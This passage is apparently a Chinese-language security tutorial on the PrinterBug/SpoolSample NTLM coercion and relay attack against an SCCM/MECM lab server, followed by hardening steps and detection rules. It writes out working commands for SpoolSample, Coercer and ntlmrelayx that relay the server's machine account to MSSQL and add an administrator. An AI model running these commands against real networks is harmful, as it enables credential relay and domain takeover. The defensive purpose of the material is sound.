[MS-RPRN](Print System Remote Protocol)可以用於 PrinterBug 或 SpoolSample 攻擊。這種攻擊利用 Windows 列印服務的設計特性,強制目標伺服器向攻擊者控制的主機發起 NTLM 認證。
攻擊原理:
詳細攻擊流程:
步驟 1:攻擊者設定 NTLM 中繼監聽器
↓
步驟 2:呼叫 RpcRemoteFindFirstPrinterChangeNotificationEx
參數:
- 目標:MECM 伺服器
- 通知主機:攻擊者 IP
↓
步驟 3:MECM 伺服器嘗試連接到攻擊者
↓
步驟 4:連接過程中,MECM 使用機器帳戶認證
↓
步驟 5:攻擊者捕獲 MECM$ 的 NTLM 認證
↓
步驟 6:攻擊者中繼認證到 MSSQL Server
↓
步驟 7:以 MECM$ 身分執行(資料庫管理員)
↓
步驟 8:修改資料庫,新增管理員
工具使用:
# 使用 SpoolSample
SpoolSample.exe MECM.sccm.lab attacker-ip
# 或使用 Coercer
coercer coerce -t MECM.sccm.lab -l attacker-ip
# 配合 ntlmrelayx
ntlmrelayx.py -t mssql://192.168.52.12 -smb2support
在 SCCM 環境中的影響:
防禦措施(多層次):
停用列印服務(如果不需要):
Stop-Service -Name Spooler
Set-Service -Name Spooler -StartupType Disabled
啟用 SMB 簽章(必須):
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
限制列印服務的網路存取:
New-NetFirewallRule -DisplayName "Block Print Spooler RPC" `
-Direction Inbound `
-LocalPort 135,139,445 `
-Protocol TCP `
-Action Block
監控異常的列印服務活動:
實施 EPA(Extended Protection):
偵測規則:
警報條件:
1. 列印服務接收來自非預期來源的 RPC 呼叫
2. 機器帳戶對外部主機的認證嘗試
3. 短時間內對多個目標的認證失敗
4. 列印服務相關的 Windows 事件 307 異常增加